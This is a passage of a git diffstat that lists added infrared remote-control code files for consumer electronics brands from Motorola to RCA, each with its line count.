.../Motorola/Unknown_DCT2524/0,-1.ir | 272 + .../Motorola/Unknown_DRC800/0,-1.ir | 320 + .../Motorola/Unknown_DTH320-4/134,47.ir | 188 + .../Motorola/Unknown_DTH355/134,47.ir | 188 + .../Motorola/Unknown_DVi2030/0,-1.ir | 200 + .../Motorola/Unknown_MOTOROLA/0,-1.ir | 266 + .../Motorola/Unknown_QIP2500/0,-1.ir | 338 + .../Unknown_RC1445302-00B-REV2/0,-1.ir | 434 + .../_CSV-IRDB_/Motorola/Unknown_VIP/35,64.ir | 248 + .../Multi Canal/Unknown_Canal/133,123.ir | 104 + .../Multichoice/Unknown_DSD910/24,-1.ir | 194 + .../_CSV-IRDB_/Mustek/Unknown_DVD/16,237.ir | 296 + .../Mustek/Unknown_MustekDVD/16,237.ir | 290 + .../Mustek/Unknown_RMC-V300/16,237.ir | 290 + .../Mvision/Unknown_FCIS7000E+/64,64.ir | 242 + .../_CSV-IRDB_/Myryad/Pre-Amplifier/0,-1.ir | 8 + .../_CSV-IRDB_/Myryad/Pre-Amplifier/16,-1.ir | 26 + .../_CSV-IRDB_/Myryad/Pre-Amplifier/17,-1.ir | 8 + .../_CSV-IRDB_/Myryad/Pre-Amplifier/18,-1.ir | 8 + .../_CSV-IRDB_/Myryad/Pre-Amplifier/20,-1.ir | 8 + .../_CSV-IRDB_/Myryad/Pre-Amplifier/21,-1.ir | 8 + .../_CSV-IRDB_/Myryad/Pre-Amplifier/23,-1.ir | 8 + .../_CSV-IRDB_/Myryad/Receiver/0,-1.ir | 8 + .../_CSV-IRDB_/Myryad/Receiver/16,-1.ir | 26 + .../_CSV-IRDB_/Myryad/Receiver/17,-1.ir | 50 + .../_CSV-IRDB_/Myryad/Receiver/18,-1.ir | 8 + .../_CSV-IRDB_/Myryad/Receiver/20,-1.ir | 122 + .../_CSV-IRDB_/Myryad/Receiver/21,-1.ir | 8 + .../_CSV-IRDB_/Myryad/Receiver/23,-1.ir | 8 + .../_CSV-IRDB_/NAD/Amplifier/135,124.ir | 206 + .../_CSV-IRDB_/NAD/CD Player/133,111.ir | 92 + .../_CSV-IRDB_/NAD/CD Player/135,124.ir | 182 + .../_CSV-IRDB_/NAD/CD Player/42,-1.ir | 200 + .../_CSV-IRDB_/NAD/Cassette Tape/135,124.ir | 74 + .../infrared/_CSV-IRDB_/NAD/Monitor/64,-1.ir | 170 + .../_CSV-IRDB_/NAD/Receiver/135,124.ir | 350 + .../NAD/Surround Processor/135,124.ir | 242 + .../NAD/Surround Processor/93,-1.ir | 14 + .../infrared/_CSV-IRDB_/NAD/Tuner/135,124.ir | 242 + .../_CSV-IRDB_/NAD/Unknown/135,124.ir | 362 + .../_CSV-IRDB_/NAD/Unknown_451/135,124.ir | 242 + .../_CSV-IRDB_/NAD/Unknown_NAD/17,-1.ir | 44 + .../_CSV-IRDB_/NAD/Unknown_RC512/135,124.ir | 128 + .../_CSV-IRDB_/NAD/Unknown_SR6/135,124.ir | 368 + .../_CSV-IRDB_/NAD/Unknown_SR712/135,124.ir | 230 + .../infrared/_CSV-IRDB_/NEC/Monitor/25,-1.ir | 158 + .../infrared/_CSV-IRDB_/NEC/Monitor/4,-1.ir | 122 + .../infrared/_CSV-IRDB_/NEC/Receiver/25,-1.ir | 44 + .../infrared/_CSV-IRDB_/NEC/Receiver/26,-1.ir | 32 + .../_CSV-IRDB_/NEC/Receiver/26,197.ir | 68 + .../_CSV-IRDB_/NEC/Receiver/26,225.ir | 62 + .../_CSV-IRDB_/NEC/Receiver/26,228.ir | 146 + .../_CSV-IRDB_/NEC/Receiver/26,231.ir | 38 + .../infrared/_CSV-IRDB_/NEC/Receiver/4,-1.ir | 68 + .../NEC/Surround Processor/13,-1.ir | 500 + .../NEC/Surround Processor/26,228.ir | 146 + .../infrared/_CSV-IRDB_/NEC/TV/24,-1.ir | 56 + .../infrared/_CSV-IRDB_/NEC/TV/24,24.ir | 68 + .../infrared/_CSV-IRDB_/NEC/TV/4,-1.ir | 146 + .../infrared/_CSV-IRDB_/NEC/Unknown/25,-1.ir | 194 + .../infrared/_CSV-IRDB_/NEC/Unknown/25,231.ir | 194 + .../_CSV-IRDB_/NEC/Unknown_RB-34P/25,-1.ir | 56 + .../_CSV-IRDB_/NEC/Unknown_RB-73A/25,-1.ir | 74 + .../_CSV-IRDB_/NEC/Unknown_RB-D3A/25,-1.ir | 200 + .../_CSV-IRDB_/NEC/Unknown_RB-DV22/45,45.ir | 242 + .../_CSV-IRDB_/NEC/Unknown_RC-1065E/24,-1.ir | 332 + .../_CSV-IRDB_/NEC/Unknown_RC-1083E/24,-1.ir | 152 + .../_CSV-IRDB_/NEC/Unknown_RC-334E/24,233.ir | 68 + .../_CSV-IRDB_/NEC/Unknown_RC-6010/24,247.ir | 146 + .../_CSV-IRDB_/NEC/Unknown_RD-1077E/24,-1.ir | 146 + .../_CSV-IRDB_/NEC/Unknown_RD-1078E/24,-1.ir | 152 + .../_CSV-IRDB_/NEC/Unknown_RD-1083E/24,-1.ir | 152 + .../_CSV-IRDB_/NEC/Unknown_RD-337E/2,-1.ir | 188 + .../_CSV-IRDB_/NEC/Unknown_RD-343E/24,233.ir | 80 + .../_CSV-IRDB_/NEC/Unknown_RD-348E/24,233.ir | 104 + .../_CSV-IRDB_/NEC/Unknown_RD-409E/24,233.ir | 164 + .../_CSV-IRDB_/NEC/Unknown_RD-427E/24,233.ir | 170 + .../_CSV-IRDB_/NEC/Unknown_RU-1220S/24,247.ir | 194 + .../_CSV-IRDB_/NEC/Unknown_TRB-60/49,-1.ir | 224 + .../_CSV-IRDB_/NEC/Unknown_TRB-968A/25,-1.ir | 92 + .../_CSV-IRDB_/NEC/Unknown_UR-3020/24,247.ir | 194 + .../infrared/_CSV-IRDB_/NEC/VCR/10,-1.ir | 92 + .../infrared/_CSV-IRDB_/NEC/VCR/25,-1.ir | 806 + .../infrared/_CSV-IRDB_/NEC/VCR/4,-1.ir | 218 + .../_CSV-IRDB_/NEC/Video Projector/24,233.ir | 770 + .../_CSV-IRDB_/NEC/Video Projector/24,247.ir | 518 + .../infrared/_CSV-IRDB_/NET TV/TV/2,-1.ir | 176 + .../_CSV-IRDB_/NTL/Unknown_DI4001N/10,-1.ir | 224 + .../NVIDIA/Unknown_Personal/128,126.ir | 206 + .../_CSV-IRDB_/Nagra/Unknown_TVA/8,-1.ir | 212 + .../_CSV-IRDB_/Nakamichi/Amplifier/87,-1.ir | 494 + .../_CSV-IRDB_/Nakamichi/CD Player/103,-1.ir | 704 + .../_CSV-IRDB_/Nakamichi/CD Player/92,-1.ir | 26 + .../_CSV-IRDB_/Nakamichi/DVD Player/92,162.ir | 218 + .../_CSV-IRDB_/Nakamichi/Receiver/103,-1.ir | 182 + .../_CSV-IRDB_/Nakamichi/Receiver/130,93.ir | 572 + .../_CSV-IRDB_/Nakamichi/Receiver/186,-1.ir | 272 + .../_CSV-IRDB_/Nakamichi/Receiver/92,-1.ir | 536 + .../_CSV-IRDB_/Nakamichi/Receiver/92,161.ir | 140 + .../_CSV-IRDB_/Nakamichi/Tuner/103,-1.ir | 62 + .../_CSV-IRDB_/Nakamichi/Tuner/92,-1.ir | 140 + .../Nakamichi/Unknown_lirc.config/103,-1.ir | 146 + .../_CSV-IRDB_/Napa/Unknown_DAV-309/0,-1.ir | 194 + .../Nebula Electronics/Unknown_DVB/0,-1.ir | 332 + .../Netgem/Unknown_iPlayer/131,51.ir | 200 + .../_CSV-IRDB_/Nextwave/Unknown_EX300/4,16.ir | 152 + .../_CSV-IRDB_/Nikko/Unknown_Nikko/5,-1.ir | 98 + .../_CSV-IRDB_/Niles Audio/Unknown/128,93.ir | 416 + .../_CSV-IRDB_/Niles Audio/Unknown/132,18.ir | 50 + .../No Brand/Unknown_YK-001/0,-1.ir | 128 + .../_CSV-IRDB_/Nokia/Satellite/24,-1.ir | 26 + .../_CSV-IRDB_/Nokia/Satellite/6,-1.ir | 26 + .../_CSV-IRDB_/Nokia/Unknown_624/74,-1.ir | 164 + .../_CSV-IRDB_/Nokia/Unknown_MM9780S/14,0.ir | 200 + .../_CSV-IRDB_/Nokia/Unknown_Nokia/14,0.ir | 170 + .../Nokia/Unknown_NokiaVC620/3,-1.ir | 170 + .../_CSV-IRDB_/Nokia/Unknown_RCN610/74,-1.ir | 200 + .../_CSV-IRDB_/Nokia/Unknown_VCN620/3,-1.ir | 170 + .../_CSV-IRDB_/Nokia/Unknown_VCR/137,119.ir | 182 + .../_CSV-IRDB_/Norcent/Unknown_DP/0,-1.ir | 272 + .../_CSV-IRDB_/NorthQ/Unknown_6400/8,-1.ir | 266 + .../_CSV-IRDB_/Novaplex/Cable Box/27,-1.ir | 140 + .../Unknown_Broadband/128,110.ir | 266 + .../Unknown_Broadband/64,64.ir | 266 + .../_CSV-IRDB_/OSRAM/Unknown_OSRAM/1,0.ir | 8 + .../_CSV-IRDB_/Olevia/Unknown_RC-LTFN/4,-1.ir | 152 + .../_CSV-IRDB_/Olevia/Unknown_RC-LTL/4,185.ir | 212 + .../_CSV-IRDB_/Olympus/Unknown_RM-1/134,59.ir | 32 + .../_CSV-IRDB_/Olympus/Unknown_RM-2/134,59.ir | 8 + .../One For All/Unknown_7720/0,-1.ir | 206 + .../One For All/Unknown_For/0,-1.ir | 230 + .../One For All/Unknown_For/8,-1.ir | 464 + .../One For All/Unknown_One-For-All/0,-1.ir | 380 + .../One For All/Unknown_Phillips/5,-1.ir | 212 + .../One For All/Unknown_SAT/32,8.ir | 206 + .../Unknown_URC-2510(12341)/71,-1.ir | 38 + .../Unknown_URC-3021B00-VCR-0081/5,-1.ir | 194 + .../One For All/Unknown_URC-3440/5,-1.ir | 164 + .../One For All/Unknown_URC-5550/11,-1.ir | 188 + .../One For All/Unknown_URC-6012w/2,-1.ir | 194 + .../One For All/Unknown_URC-7020/5,-1.ir | 200 + .../One For All/Unknown_URC-7240/5,-1.ir | 206 + .../One For All/Unknown_URC-7530/7,-1.ir | 152 + .../One For All/Unknown_URC-7555/0,-1.ir | 266 + .../One For All/Unknown_URC-7562/68,-1.ir | 242 + .../One For All/Unknown_URC-7710/0,-1.ir | 206 + .../One For All/Unknown_URC-8204.1300/32,8.ir | 212 + .../One For All/Unknown_URC-8910/7,-1.ir | 218 + .../One For All/Unknown_VCR/113,-1.ir | 230 + .../Unknown_control-Philips-0081d/0,-1.ir | 224 + .../Unknown_ofa-urc-7550-vcr0150/5,-1.ir | 188 + .../One For All/Unknown_urc7562/0,-1.ir | 188 + .../One For All/Unknown_urc7730/0,-1.ir | 206 + .../_CSV-IRDB_/Onida/Unknown_DFX/0,-1.ir | 290 + .../_CSV-IRDB_/Onida/Unknown_TVE/3,-1.ir | 170 + .../Onkyo Integra/DVD Changer/210,43.ir | 302 + .../Onkyo Integra/Receiver/210,108.ir | 68 + .../Onkyo Integra/Receiver/210,109.ir | 122 + .../_CSV-IRDB_/Onkyo/Amplifier/210,108.ir | 20 + .../_CSV-IRDB_/Onkyo/Amplifier/210,109.ir | 470 + .../_CSV-IRDB_/Onkyo/CD Player/132,117.ir | 140 + .../_CSV-IRDB_/Onkyo/CD Player/210,109.ir | 206 + .../_CSV-IRDB_/Onkyo/CD Player/210,13.ir | 356 + .../_CSV-IRDB_/Onkyo/CD Player/210,44.ir | 380 + .../_CSV-IRDB_/Onkyo/Cassette Tape/132,89.ir | 266 + .../_CSV-IRDB_/Onkyo/Cassette Tape/210,13.ir | 56 + .../_CSV-IRDB_/Onkyo/DVD Player/210,43.ir | 254 + .../_CSV-IRDB_/Onkyo/DVD Player/69,-1.ir | 8 + .../_CSV-IRDB_/Onkyo/Laser Disc/168,-1.ir | 212 + .../_CSV-IRDB_/Onkyo/Receiver/210,108.ir | 164 + .../_CSV-IRDB_/Onkyo/Receiver/210,109.ir | 1538 ++ .../_CSV-IRDB_/Onkyo/Tuner/210,109.ir | 182 + .../infrared/_CSV-IRDB_/Onkyo/Tuner/210,37.ir | 344 + .../_CSV-IRDB_/Onkyo/Unknown/210,109.ir | 614 + .../_CSV-IRDB_/Onkyo/Unknown/210,44.ir | 188 + .../Onkyo/Unknown_CR-70R/210,109.ir | 176 + .../_CSV-IRDB_/Onkyo/Unknown_Onkyo/160,10.ir | 146 + .../_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,109.ir | 188 + .../_CSV-IRDB_/Onkyo/Unknown_Onkyo/210,44.ir | 170 + .../Onkyo/Unknown_RC-104C/210,-1.ir | 128 + .../Onkyo/Unknown_RC-146T/210,13.ir | 56 + .../Onkyo/Unknown_RC-184s/210,109.ir | 26 + .../Onkyo/Unknown_RC-425DV/210,43.ir | 326 + .../_CSV-IRDB_/Onkyo/Unknown_RC-50/210,-1.ir | 140 + .../Onkyo/Unknown_RC-682M/210,43.ir | 218 + .../Onkyo/Unknown_rc-211s/210,109.ir | 230 + .../Onkyo/Unknown_rc-252s/210,109.ir | 278 + .../_CSV-IRDB_/Optex/Unknown_ORT/0,-1.ir | 212 + .../_CSV-IRDB_/PHAST/PLR-IR1/85,-1.ir | 794 + .../PLU2/Unknown_DVX-345pro/0,-1.ir | 302 + .../_CSV-IRDB_/PS Audio/CD Player/20,-1.ir | 128 + .../_CSV-IRDB_/Pace/Unknown_DC551P/27,-1.ir | 68 + .../_CSV-IRDB_/Pace/Unknown_DI4001N/10,-1.ir | 230 + .../_CSV-IRDB_/Pace/Unknown_DI4010I/10,-1.ir | 230 + .../_CSV-IRDB_/Pace/Unknown_DS420/16,80.ir | 200 + .../_CSV-IRDB_/Pace/Unknown_DS620/132,60.ir | 188 + .../_CSV-IRDB_/Pace/Unknown_Digital/0,0.ir | 194 + .../Pace/Unknown_PACE-RC-10/132,60.ir | 176 + .../_CSV-IRDB_/Pace/Unknown_PaceMSS/1,-1.ir | 350 + .../_CSV-IRDB_/Pace/Unknown_RC-17/132,60.ir | 158 + .../_CSV-IRDB_/Pace/Unknown_RC-30/132,60.ir | 194 + .../Pace/Unknown_TDS460NNZ/35,128.ir | 242 + .../_CSV-IRDB_/Pace/Unknown_pacetwin/34,-1.ir | 290 + .../_CSV-IRDB_/Pace/Unknown_xsat/34,-1.ir | 218 + .../Packard Bell/Unknown_PackBell/16,-1.ir | 206 + .../_CSV-IRDB_/Palcom/Unknown_DSL-6/192,-1.ir | 212 + .../_CSV-IRDB_/Panasonic/DVD Player/128,0.ir | 38 + .../_CSV-IRDB_/Panasonic/DVD Player/160,0.ir | 68 + .../_CSV-IRDB_/Panasonic/DVD Player/160,16.ir | 8 + .../_CSV-IRDB_/Panasonic/DVD Player/160,18.ir | 20 + .../_CSV-IRDB_/Panasonic/DVD Player/160,28.ir | 122 + .../_CSV-IRDB_/Panasonic/DVD Player/160,34.ir | 200 + .../_CSV-IRDB_/Panasonic/DVD Player/160,4.ir | 20 + .../_CSV-IRDB_/Panasonic/DVD Player/176,0.ir | 554 + .../_CSV-IRDB_/Panasonic/HDTV Tuner/128,2.ir | 146 + .../_CSV-IRDB_/Panasonic/Laser Disc/144,64.ir | 230 + .../_CSV-IRDB_/Panasonic/Receiver/160,0.ir | 44 + .../_CSV-IRDB_/Panasonic/Receiver/160,28.ir | 8 + .../_CSV-IRDB_/Panasonic/Receiver/160,4.ir | 20 + .../infrared/_CSV-IRDB_/Panasonic/TV/128,0.ir | 554 + .../infrared/_CSV-IRDB_/Panasonic/TV/128,1.ir | 74 + .../infrared/_CSV-IRDB_/Panasonic/TV/128,4.ir | 80 + .../infrared/_CSV-IRDB_/Panasonic/TV/128,9.ir | 146 + .../Panasonic/Unknown_CARC60EX/129,106.ir | 50 + .../Panasonic/Unknown_EUR57510/144,0.ir | 68 + .../Panasonic/Unknown_EUR642162/160,194.ir | 170 + .../Panasonic/Unknown_EUR642195/160,194.ir | 230 + .../Panasonic/Unknown_EUR643820/160,194.ir | 158 + .../Panasonic/Unknown_EUR643826/160,194.ir | 158 + .../Panasonic/Unknown_EUR7617010/176,0.ir | 296 + .../Panasonic/Unknown_EUR7621010/176,0.ir | 266 + .../Panasonic/Unknown_EUR7631010/176,0.ir | 194 + .../Panasonic/Unknown_EUR7914Z20/128,72.ir | 116 + .../Panasonic/Unknown_N2QADC000006/128,72.ir | 98 + .../Panasonic/Unknown_N2QAHB0048/160,194.ir | 212 + .../Panasonic/Unknown_N2QAYB000064/128,72.ir | 116 + .../Panasonic/Unknown_NV-F65/144,0.ir | 182 + .../Panasonic/Unknown_PANASONIC/0,-1.ir | 152 + .../Panasonic/Unknown_PANASONIC/176,0.ir | 296 + .../Unknown_Panasonic-EUR571100/144,0.ir | 68 + .../Unknown_Panasonic-RAK-RX314W/160,194.ir | 224 + .../Panasonic/Unknown_RAK-RX309W/160,194.ir | 224 + .../Panasonic/Unknown_RC4346-01B/0,-1.ir | 236 + .../Panasonic/Unknown_RX-ED70/160,194.ir | 158 + .../_CSV-IRDB_/Panasonic/Unknown_TV/0,-1.ir | 122 + .../_CSV-IRDB_/Panasonic/Unknown_VCR/144,1.ir | 224 + .../Panasonic/Unknown_VEQ0910/144,0.ir | 200 + .../Panasonic/Unknown_VEQ1309/144,0.ir | 248 + .../Panasonic/Unknown_VEQ1697/112,8.ir | 68 + .../Panasonic/Unknown_VEQ2380/176,0.ir | 230 + .../Panasonic/Unknown_VSQS0531/2,-1.ir | 74 + .../Panasonic/Unknown_cd/160,194.ir | 110 + .../Panasonic/Unknown_panas928/160,194.ir | 26 + .../Unknown_panasonic-RAX-RX318W/160,194.ir | 212 + .../Panasonic/Unknown_panasonic.conf/144,0.ir | 200 + .../Panasonic/Unknown_veq2249/176,0.ir | 236 + .../_CSV-IRDB_/Panasonic/VCR/144,0.ir | 326 + .../_CSV-IRDB_/Panasonic/VCR/144,1.ir | 50 + .../_CSV-IRDB_/Panasonic/VCR/144,5.ir | 8 + .../infrared/_CSV-IRDB_/Panasonic/VCR/2,-1.ir | 68 + .../_CSV-IRDB_/Panda/Unknown_DVD-6838/0,-1.ir | 284 + .../_CSV-IRDB_/Pansat/Unknown_2500a/0,249.ir | 188 + .../_CSV-IRDB_/Pansat/Unknown_2700/8,-1.ir | 212 + .../_CSV-IRDB_/Pansat/Unknown_2700a/8,-1.ir | 272 + .../_CSV-IRDB_/Parasound/Receiver/134,97.ir | 50 + .../_CSV-IRDB_/Parasound/Receiver/27,-1.ir | 302 + .../_CSV-IRDB_/Parasound/Receiver/3,240.ir | 332 + .../Parasound/Surround Processor/3,240.ir | 158 + .../_CSV-IRDB_/Peekton/Unknown_IR6005/0,-1.ir | 296 + .../Philco/Unknown_PCR-111/80,-1.ir | 158 + .../infrared/_CSV-IRDB_/Philips/CD-R/20,-1.ir | 56 + .../infrared/_CSV-IRDB_/Philips/CD-R/26,-1.ir | 98 + .../infrared/_CSV-IRDB_/Philips/DSS/133,48.ir | 200 + .../infrared/_CSV-IRDB_/Philips/DSS/39,-1.ir | 122 + .../_CSV-IRDB_/Philips/DVD Player/4,-1.ir | 188 + .../Philips/Digital Recorder/133,48.ir | 1862 ++ .../_CSV-IRDB_/Philips/Receiver/0,-1.ir | 14 + .../_CSV-IRDB_/Philips/Receiver/16,-1.ir | 62 + .../_CSV-IRDB_/Philips/Receiver/17,-1.ir | 122 + .../_CSV-IRDB_/Philips/Receiver/20,-1.ir | 8 + .../_CSV-IRDB_/Philips/Receiver/5,-1.ir | 8 + .../infrared/_CSV-IRDB_/Philips/TV/0,-1.ir | 404 + .../infrared/_CSV-IRDB_/Philips/TV/3,-1.ir | 62 + .../_CSV-IRDB_/Philips/Unknown_01/0,-1.ir | 158 + .../_CSV-IRDB_/Philips/Unknown_01/48,-1.ir | 260 + .../_CSV-IRDB_/Philips/Unknown_101/5,-1.ir | 176 + .../Philips/Unknown_130A/138,245.ir | 146 + .../Philips/Unknown_17PT1563/0,-1.ir | 176 + .../Philips/Unknown_26PFL5604H/0,-1.ir | 254 + .../Philips/Unknown_32PFL5403D/0,-1.ir | 218 + .../_CSV-IRDB_/Philips/Unknown_5260/0,-1.ir | 266 + .../_CSV-IRDB_/Philips/Unknown_5300/0,-1.ir | 188 + .../_CSV-IRDB_/Philips/Unknown_5373/5,-1.ir | 542 + .../_CSV-IRDB_/Philips/Unknown_8243/10,-1.ir | 182 + .../_CSV-IRDB_/Philips/Unknown_95/5,-1.ir | 116 + .../_CSV-IRDB_/Philips/Unknown_AV5609/5,-1.ir | 92 + .../_CSV-IRDB_/Philips/Unknown_CD/20,-1.ir | 122 + .../_CSV-IRDB_/Philips/Unknown_CD720/20,-1.ir | 74 + .../_CSV-IRDB_/Philips/Unknown_CD723/20,-1.ir | 158 + .../Philips/Unknown_DSX-5500/39,-1.ir | 200 + .../Philips/Unknown_DVD-724/4,-1.ir | 200 + .../_CSV-IRDB_/Philips/Unknown_DVD711/4,-1.ir | 194 + .../Philips/Unknown_DVP-5982/4,-1.ir | 170 + .../Philips/Unknown_DVP-642/4,-1.ir | 200 + .../Philips/Unknown_FW2104/134,83.ir | 296 + .../_CSV-IRDB_/Philips/Unknown_LV2/20,-1.ir | 188 + .../_CSV-IRDB_/Philips/Unknown_MULTI/0,-1.ir | 122 + .../_CSV-IRDB_/Philips/Unknown_MULTI/5,-1.ir | 152 + .../_CSV-IRDB_/Philips/Unknown_MULTI/6,-1.ir | 140 + .../Philips/Unknown_PHDVD5/26,154.ir | 236 + .../Philips/Unknown_PHILIPS/0,-1.ir | 194 + .../Philips/Unknown_PHILIPS/34,-1.ir | 152 + .../Philips/Unknown_PM725S/27,-1.ir | 230 + .../64,47.ir | 218 + .../Philips/Unknown_R-48F01/20,-1.ir | 128 + .../Philips/Unknown_RC-2012/4,-1.ir | 182 + .../_CSV-IRDB_/Philips/Unknown_RC-5/0,-1.ir | 38 + .../_CSV-IRDB_/Philips/Unknown_RC-5/5,-1.ir | 482 + .../Philips/Unknown_RC-7843/0,-1.ir | 176 + .../_CSV-IRDB_/Philips/Unknown_RC/0,-1.ir | 332 + .../_CSV-IRDB_/Philips/Unknown_RC/20,-1.ir | 116 + .../Philips/Unknown_RC19042002/0,-1.ir | 248 + .../Philips/Unknown_RC19237006/4,-1.ir | 224 + .../Philips/Unknown_RC19335003-01P/0,-1.ir | 98 + .../Philips/Unknown_RC2034302/0,-1.ir | 230 + .../_CSV-IRDB_/Philips/Unknown_RC2070/0,-1.ir | 302 + .../Philips/Unknown_RC2582/39,-1.ir | 170 + .../Philips/Unknown_RC5-BP6/0,-1.ir | 218 + .../_CSV-IRDB_/Philips/Unknown_RC7507/5,-1.ir | 392 + .../_CSV-IRDB_/Philips/Unknown_RC7843/0,-1.ir | 176 + .../Philips/Unknown_RC7925/26,-1.ir | 164 + .../Philips/Unknown_RC8244/10,-1.ir | 182 + .../_CSV-IRDB_/Philips/Unknown_RC8861/1,-1.ir | 164 + .../Philips/Unknown_RCLE011/0,-1.ir | 212 + .../Philips/Unknown_RD6834/20,-1.ir | 122 + .../_CSV-IRDB_/Philips/Unknown_RT150/5,-1.ir | 176 + .../_CSV-IRDB_/Philips/Unknown_RU120/0,-1.ir | 62 + .../Philips/Unknown_SBC-RU-520/5,-1.ir | 560 + .../_CSV-IRDB_/Philips/Unknown_SBC/0,-1.ir | 290 + .../_CSV-IRDB_/Philips/Unknown_SBC/6,-1.ir | 164 + .../_CSV-IRDB_/Philips/Unknown_SF172/39,-1.ir | 218 + .../Philips/Unknown_SRM5100/4,15.ir | 272 + .../_CSV-IRDB_/Philips/Unknown_SRU/0,-1.ir | 272 + .../Philips/Unknown_STEREO/164,164.ir | 38 + .../_CSV-IRDB_/Philips/Unknown_TIVO/133,48.ir | 188 + .../Philips/Unknown_TIVO34/133,48.ir | 236 + .../_CSV-IRDB_/Philips/Unknown_TV/0,-1.ir | 164 + .../_CSV-IRDB_/Philips/Unknown_VCR/5,-1.ir | 170 + .../_CSV-IRDB_/Philips/Unknown_VR175/5,-1.ir | 164 + .../Philips/Unknown_digital/0,-1.ir | 236 + .../_CSV-IRDB_/Philips/Unknown_dvd712/4,-1.ir | 206 + .../Unknown_philips-rc2592-MODE-v1/8,-1.ir | 200 + .../Philips/Unknown_rd5860.conf/20,-1.ir | 134 + .../Philips/Unknown_uDigital/0,-1.ir | 218 + .../infrared/_CSV-IRDB_/Philips/VCR/5,-1.ir | 176 + .../Phonotrend/Unknown_Prestige/4,-1.ir | 260 + .../Pinnacle Systems/Unknown_300i/17,20.ir | 254 + .../Pinnacle Systems/Unknown_800i/7,-1.ir | 152 + .../Pinnacle Systems/Unknown_PCTV/7,-1.ir | 146 + .../Pinnacle Systems/Unknown_RC-42D/7,-1.ir | 254 + .../_CSV-IRDB_/Pioneer/Amplifier/162,-1.ir | 8 + .../_CSV-IRDB_/Pioneer/Amplifier/164,-1.ir | 8 + .../_CSV-IRDB_/Pioneer/Amplifier/165,-1.ir | 182 + .../_CSV-IRDB_/Pioneer/CD Jukebox/162,-1.ir | 524 + .../_CSV-IRDB_/Pioneer/CD Player/162,-1.ir | 158 + .../_CSV-IRDB_/Pioneer/Cable Box/168,40.ir | 14 + .../_CSV-IRDB_/Pioneer/Cable Box/170,-1.ir | 8 + .../_CSV-IRDB_/Pioneer/Cable Box/172,-1.ir | 140 + .../Pioneer/Cassette Tape/161,-1.ir | 152 + .../_CSV-IRDB_/Pioneer/DVD Changer/163,-1.ir | 296 + .../_CSV-IRDB_/Pioneer/DVD Changer/175,-1.ir | 254 + .../_CSV-IRDB_/Pioneer/DVD Jukebox/163,-1.ir | 236 + .../_CSV-IRDB_/Pioneer/DVD Jukebox/175,-1.ir | 188 + .../_CSV-IRDB_/Pioneer/DVD Player/163,-1.ir | 752 + .../_CSV-IRDB_/Pioneer/DVD Player/175,-1.ir | 458 + .../_CSV-IRDB_/Pioneer/Laser Disc/163,-1.ir | 158 + .../_CSV-IRDB_/Pioneer/Laser Disc/168,-1.ir | 692 + .../_CSV-IRDB_/Pioneer/Laser Disc/175,-1.ir | 128 + .../_CSV-IRDB_/Pioneer/Receiver/164,-1.ir | 104 + .../_CSV-IRDB_/Pioneer/Receiver/165,-1.ir | 368 + .../infrared/_CSV-IRDB_/Pioneer/TV/170,-1.ir | 464 + .../infrared/_CSV-IRDB_/Pioneer/TV/175,-1.ir | 32 + .../Pioneer/Unknown_AXD-1531/170,-1.ir | 302 + .../Pioneer/Unknown_AXD-7306/166,-1.ir | 134 + .../_CSV-IRDB_/Pioneer/Unknown_CD/162,-1.ir | 218 + .../Pioneer/Unknown_CU-CLD067/168,-1.ir | 140 + .../Pioneer/Unknown_CU-CLD106/168,-1.ir | 206 + .../Pioneer/Unknown_CU-PD008/162,-1.ir | 188 + .../Pioneer/Unknown_CU-PD038/162,-1.ir | 146 + .../Pioneer/Unknown_CU-PD046/162,-1.ir | 146 + .../Pioneer/Unknown_CU-PD069/162,-1.ir | 146 + .../Pioneer/Unknown_CU-PD085/162,-1.ir | 146 + .../Pioneer/Unknown_CU-PD089/162,-1.ir | 254 + .../Pioneer/Unknown_DEH-D8850/0,-1.ir | 194 + .../Pioneer/Unknown_PD-M650/162,-1.ir | 206 + .../Pioneer/Unknown_Pioneer-CU-XR014/2,1.ir | 188 + .../Pioneer/Unknown_VXX2801/163,-1.ir | 224 + .../Pioneer/Unknown_cu-pd096/162,-1.ir | 140 + .../Pioneer/Unknown_pioneer/162,-1.ir | 236 + .../Pioneer/Unknown_pioneer/168,-1.ir | 164 + .../PixelView/Unknown_2000/63,-1.ir | 398 + .../PixelView/Unknown_PlayTV/134,107.ir | 350 + .../Polaroid/Unknown_DVDP-1000/32,-1.ir | 272 + .../_CSV-IRDB_/Pragmatic/Router/172,-1.ir | 50 + .../_CSV-IRDB_/ProPlay/Unknown_PS2/0,246.ir | 104 + .../Proceed/Surround Processor/5,-1.ir | 122 + .../_CSV-IRDB_/Proscan/DVD Player/15,-1.ir | 14 + .../_CSV-IRDB_/Proscan/DVD Player/5,-1.ir | 224 + .../infrared/_CSV-IRDB_/Proscan/TV/15,-1.ir | 440 + .../Proscan/Unknown_proscan-vcr/14,-1.ir | 236 + .../_CSV-IRDB_/Protek/Unknown_Protek/1,-1.ir | 122 + .../infrared/_CSV-IRDB_/Proton/TV/17,-1.ir | 56 + .../infrared/_CSV-IRDB_/Proton/TV/2,-1.ir | 50 + .../infrared/_CSV-IRDB_/Proton/TV/3,-1.ir | 152 + .../infrared/_CSV-IRDB_/Proton/TV/4,-1.ir | 110 + .../Provideo/Unknown_PV951/134,107.ir | 182 + .../Provision/Unknown_PR-DVD2.0/1,-1.ir | 236 + .../Provision/Unknown_PRDVD2166/0,153.ir | 260 + .../_CSV-IRDB_/QUADRAL/Unknown_RC-804/19,1.ir | 200 + .../infrared/_CSV-IRDB_/Quasar/TV/128,0.ir | 122 + .../infrared/_CSV-IRDB_/RCA/DSS/15,-1.ir | 20 + .../infrared/_CSV-IRDB_/RCA/DSS/7,-1.ir | 332 + .../_CSV-IRDB_/RCA/DVD Player/5,-1.ir | 374 + .../_CSV-IRDB_/RCA/Laser Disc/13,-1.ir | 206 + .../infrared/_CSV-IRDB_/RCA/TV/14,-1.ir | 8 + .../infrared/_CSV-IRDB_/RCA/TV/15,-1.ir | 428 + .../infrared/_CSV-IRDB_/RCA/TV/7,-1.ir | 8 + .../_CSV-IRDB_/RCA/Unknown_BR-RCA/39,-1.ir | 194 + .../_CSV-IRDB_/RCA/Unknown_DTA800b/7,-1.ir | 122 + .../_CSV-IRDB_/RCA/Unknown_R130A1/15,-1.ir | 200 + .../RCA/Unknown_RCA-F20507CP/15,-1.ir | 146 + .../_CSV-IRDB_/RCA/Unknown_RCZ/135,94.ir | 236 + .../_CSV-IRDB_/RCA/Unknown_TV/15,-1.ir | 56 + .../infrared/_CSV-IRDB_/RCA/VCR/14,-1.ir | 170 + 